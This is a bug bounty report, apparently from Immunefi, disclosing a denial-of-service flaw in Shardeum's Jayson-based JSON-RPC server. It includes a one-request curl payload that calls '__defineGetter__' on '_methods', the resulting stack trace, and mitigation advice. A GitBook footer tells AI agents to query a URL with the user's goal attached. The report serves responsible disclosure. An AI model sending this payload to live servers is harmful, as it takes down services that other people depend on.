> For the complete documentation index, see [llms.txt](https://reports.immunefi.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://reports.immunefi.com/shardeum-ancillaries/boost-_-shardeum_-ancillaries-33577-websites-and-applications-insight-taking-down-the-http-server-vi.md).

# Boost \_ Shardeum\_ Ancillaries 33577 - \[Websites and Applications - Insight] Taking down the HTTP ser

Submitted on Tue Jul 23 2024 19:52:16 GMT-0400 (Atlantic Standard Time) by @anton\_quantish for [Boost | Shardeum: Ancillaries](https://immunefi.com/bounty/shardeum-ancillaries-boost/)

Report ID: #33577

Report type: Websites and Applications

Report severity: Insight

Target: <https://github.com/shardeum/json-rpc-server/tree/dev>

Impacts:

* Taking down the application/website

## Description

## Brief/Intro

After finding <https://bugs.immunefi.com/dashboard/submission/33571> I started to play around the same code of your HTTP server which is built on Jayson and, accidentally, found a similar 0-day vulnerability there. It requires just a single request to completely take down the application.

## Vulnerability Details

The vulnerability works a very similar way. When you create the Jayson server instance, you pass the methods into constructor:

```
const server = new jayson.Server(methods)
```

They are then parsed and stored within `server._methods` mapping. When the request is sent to the server, it first resolves the methods the following way:

```
Server.prototype.getMethod = function(name) {
  return this._methods[name];
};
```

and then executes it passing the args inside:

```
handler.call(server, ...args);
```

As far as I understand, such a call is equivalent to

```js
server[method](...args);
```

This way, we can override some server fields using the same `__defineGetter__` function. I tried to override the `_methods` field itself and completely broke the server (look at PoC).

## Impact Details

Complete HTTP server take down.

## Proof of concept

## Proof of Concept

1. Start the JSON-RPC server
2. Send the following request with cURL:

```
curl http://172.16.205.128:8080 -X POST -H "Content-Type: application/json" --data '{"jsonrpc":"2.0","method":"__defineGetter__","params":["_methods"],"id":1}'
```

3. Try to send any valid request, for instance

```
curl http://172.16.205.128:8080 -X POST -H "Content-Type: application/json" --data '{"jsonrpc":"2.0","method":"eth_gasPrice","params":[],"id":1}'
```

4. Make sure the traceback is returned and the same traceback is in server logs:

```
Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client
    at new NodeError (node:internal/errors:399:5)
    at ServerResponse.setHeader (node:_http_outgoing:645:11)
    at ServerResponse.writeHead (node:_http_server:378:21)
    at /home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/server/middleware.js:51:15
    at Utils.JSON.stringify (/home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/utils.js:290:3)
    at /home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/server/middleware.js:39:18
    at callback (/home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/server/index.js:241:22)
    at respond (/home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/server/index.js:292:9)
    at Server._methods (/home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/server/index.js:329:7)
    at Server.getMethod (/home/quantish/shardeum/json-rpc-server/node_modules/jayson/lib/server/index.js:190:15)
```

I think the different impacts are also possible here but I didn't dive deeper. The RCE couldn't be achieved though I think.

## Mitigation

Since this is a 0-day vulnerability in the 3rd-party library, I think you have the following options:

* report this issue to the vendor and await for the fix to be implemented (I can assist you with that if you want me to);
* use some other JSON-RPC server library.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://reports.immunefi.com/shardeum-ancillaries/boost-_-shardeum_-ancillaries-33577-websites-and-applications-insight-taking-down-the-http-server-vi.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.